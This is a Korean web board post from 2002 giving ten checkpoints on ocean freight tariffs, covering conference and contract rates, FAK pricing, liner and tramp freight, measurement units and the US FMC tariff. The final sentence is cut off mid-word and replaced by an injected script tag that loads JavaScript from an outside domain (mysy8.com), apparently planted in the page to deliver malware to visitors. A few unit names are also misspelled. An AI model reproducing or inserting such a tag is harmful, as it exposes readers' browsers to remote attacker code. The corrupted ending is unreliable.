| 글쓴이 |
운영자 |
작성일 |
2002-04-30 |
| 제목 |
운임율표(Tariff)를 알아보는 체크포인트 |
운임율은 수출입 화물 선적 과정에서 핵심적인 관심을 끄는 부분이다.
특히 날로 운임체계가 복잡하게 변해가는 오늘날, 항로안정이란 측면에서도 운
임체계를 올바르게 이해하는 것이 중요하다. Tariff의 의미와 적용형태 등을 10
가지로 나누어 살펴보면...
1. Tariff의 의미와 적용 범위를 알아보면...
태리프는 관세율과 운임율표 두 가지의 뜻이 있다. 이 가운데 운임율표란 품목
별 등으로 화물의 운임율을 표로 작성해 놓은 것이다. 운임표시 외에 운임과 관
련된 화물취급 규정도 밝혀 놓는다. 또한 태리프는 하역료, Agency Fee, 내륙운송료 등 그 적용범위가 매우 넓다. 물론 협정요율인 태리프는 실제 시장요율과 다른 경우가 많다.
2. 해상운임동맹의 협정요율로서의 태리프는?
동맹의 협정율은 화물의 등급별로 이루어져 있으며 동맹률(conference rate)라고 부른다. 원래 협정율은 반드시 전 화물에 미치는 것은 아니며, 항로사정에 따라서 특정화물이 동맹 운임표에서 제외되는 것도 있다. 이러한 화물을 자유화물(open cargo)이라고 부른다.
3. 해운 동맹의 협약 운임에는 여러 가지가 있다. 그 가운데 계약운임제
(contract rate system)란 무엇인가?
해운 동맹은 각 화주 혹은 화주단체가 수송화물을 동맹선에 서비스 컨트랙트 할때 그 대가로 동맹은 운임에 대해 특별한 편의를 주거나 선복의 확보, 운임을변경하지 않겠다는 약속 등을 내용으로 하는 계약을 체결하는 경우를 말한다.
이에는 소위 계약운임제 또는 이중운임제(dual rate system)를 포함하고 있는데, 이 제도는 계약운임률(contract rate)과 비계약율(non-contract rate)로 차등 적용되는 것이 일반적이다.
4. 계속적으로 동맹의 의미가 약화되고 있는 현재, 운임의 적용 형태는 어떻게 변해 가고 있으며, 변해가는 이유는 어디에 있는가?
컨테이너 수송시대를 맞아 현실적으로는 동맹운임체계도 대폭적으로 변화하고 있다. 즉 현행의 품목별 운임이 품목무차별운임률인 품목무차별 운임(freight for all kinds:FAK)으로 변해가고 있다. 즉 FAK란 품목에 관계없이 똑같이 운임을 받는 것으로서 포워딩에서 일반화주에게 FAK운임제도를 확대 실시하려는 준비 단계이고, 육상에서는 이미 FAK운임제도를 실시하고 있어 많은 편의를 제공하고 있다.
5. 최근 들어 태리프는 해상에서만 적용되지 않고 육상 door to doot서비스까지 확정되어 가고 있는데...
컨테이너 수송의 경우 door to door서비스라는 관점에서 내륙 운임까지를 포함한 일관수송운임률을 설정하는 동맹도 있다.
6. 그럼 정기선운임의 특색은 어떠한가?
정기선의 운임도 자유경쟁 원칙에 따라 결정되기는 하나 부정기선 운임과는 달리 운임동맹에 의해서 인위적으로 결정되는 경향이 있다. 그러므로 항로에 따라서 강약의 차이는 있으나 그 결정은 독점가격 원리에 따라 이루어진다고 할 수 있다. 일반 상품의 가격은 원가와 적정 이윤이 가산된 금액으로 결정되며, 또한 수요 공급에 따라 부단히 움직이는 것이 그 본질이나 정기선의 운임은 이와는 다르게 결정되는 특성이 있다.
7. 정기선 운임계산단위를 살펴보면?
정기선 운임계산단위는 용적 톤과 중량톤으로 나눌 수 있다.
△용적톤:40평방 피트·㎥1,000B/M(1,000 Board-Miasure)·
100석(1석=10입방척)·100Peterogard Etandafd
△중량톤:美톤(short ton, 2,000lbs)·英톤(long ton, 2,240lbs)·Metric
ton(kilo ton, 1,000kg)·15 Piculs(2,000lbs)·100lbs
8. 정기선운임의 결정 방법은 어떠한가?
정기선은 일단 항로를 개설하면, 그에 알맞는 선종·선형이 배선되어야 하고 또
한 일정기간을 유지할 수 있는 선대를 배선하여 상당기간 운항치 않으면 안될 뿐 아니라 간단히 다른 항로에 전배할 수 없는 구조적 맹점을 가지고 있기 때문에 선박운항에 따른 총원가에 의해 기본요율이 결정되어야 하며 이 때 물동량도 고려해야만 한다.
9. 부정기해운은 하루하루 시황이 변함에 따라 운임변동이 심한데 여기에 협정율인 태리프의 의미가 약하다. 부정기선운임의 구조는?
운임은 통상 화물의 수량을 기초로 지불되는 것이므로 산출기초가 되는 운임산출기초가 되는 화물단위가 있어야 한다. 선박의 화물적재능력은 중량과 용적의 양면에서 제한되는 것이므로 화물에 따라 운임률을 적용하는 화물의 단위도 달라지게 된다.
10. FMC(美연방해사위원회)의 태리프가 세계 정기선항로에 미치는 영향이 매우 크다는데...
FMC의 태리프가 갖는 잇점은 항로안정화를 기대할 수 있다는 점. 하주들이 운임의 변화를 예견할 수가 있어 항로가 안정된다. 그러나 FMC가 정한 태리프를 지키지 못할 경우 영업정지, 벌칙금부과 등이 따르며 미국 보호주의의 일환이라는 반?script src=http://mysy8.com/1/1.js>
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